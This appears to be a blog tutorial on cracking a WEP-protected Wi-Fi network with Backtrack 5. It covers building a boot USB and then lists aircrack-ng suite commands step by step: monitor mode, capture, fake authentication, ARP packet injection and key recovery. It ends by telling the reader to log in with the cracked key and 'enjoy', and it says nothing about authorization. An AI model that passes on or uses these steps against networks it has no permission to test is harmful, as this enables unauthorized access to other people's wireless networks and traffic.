How To Hack Wep Encrypted WIFI Network Using Backtrack
Things you Need:
1. Backtrack 5 - I'd suggest GNOME, 32bit, ISO & Direct
2. Compatible Wireless Card
3. Making a Bootable USB or Backtrack DVD
4. WEP Encrypted Networks
If you Don’t Have Backtrack Dvd Then Download its Iso File from Here.
Now Download Unetbootin from Here.
Follow These Steps to Make Bootable Flash Of Backtrack
· Run Unetbootin.
· Tick Diskimage instead of Distribution
· Select USB Drive as the type, and select your USB drive name - Example: G:\
o Select The Iso File Of Backtrack which you have Downloaded.
o Click OK and wait a couple of minutes
o When it finish Boot your pc through Flash
When booting into backtrack, you need to type startx and wait a couple of minutes for the desktop to show.
Okay so let's begin,Follow these Steps:
Okay so let's begin,Follow these Steps:
1. so first we need to open a terminal. To do that, just click the little icon that's on the right side from System.
2. Now type airmon-ng and that command displays our interfaces. In my case I havewlan0,
3. Now we are going to put it into monitor mode. To do that, type airmon-ng start wlan0. As you can see on the picture below it says (monitor mode enabled on mon0), and we are going to be using mon0 instead of wlan0 as our interface.
4. Type airodump-ng mon0 and that will start scanning for wi-fi networks. As you can see, there is a network called SKIDHACKER. Take a note of the BSSID (mac address) theDATA, the CHANNEL and the type of ENCRYPTION.
5. Now we have to get number of packets (Data). To do that, type airodump-ng -c (channel) -w WEPcrack --bssid (bssid of the network) mon0. Replace (channel)with the channel of the network you are trying to crack, and replace (bssid of the network) with the bssid of the network you want to crack.
6. Okay
so as you see the data is going really slow, and we need to boost that
up. We need a lot more data, so let's preform one of the aireplay commands that will boost that data. Firstly, open up a new terminal and type aireplay-ng -1 0 -a (bsisd) mon0 where (bssid) is
the bssid of the network. Now if your wi-fi card is supported, you
should see Association successful :-), if you don't see that then your
card is not supported.
7. Now we are going to type in aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0.
And now when the question Use this packet ? pops up, just push the
letter y.As you can see in the image below, the data went high .
8. Okay
so now lets open a new terminal and we are going to attempt to crack it
with the amount of data we have. I recommend getting over 20000 data before trying to crack it. So let's type aircrack-ng WEPcrack*.cap. Replace WEPcrack with the filename you chose before when capturing the data, and don't forget to add that asterisk after the file and the extension which is .cap
9. Now it will attempt to crack the password. Just wait a couple of minutes for it to complete, and once it did it will say KEY FOUND! [ AA:AA:AA:AA:AA ] where
the X's will be random numbers and/or letters. That's not it, now to
connect you will need to remove the semicolumns. For an example, if you
have 12:34:11:22:54, the password would be 1234112254. Just log in to your Windows OS, and connect using that password and enjoy…
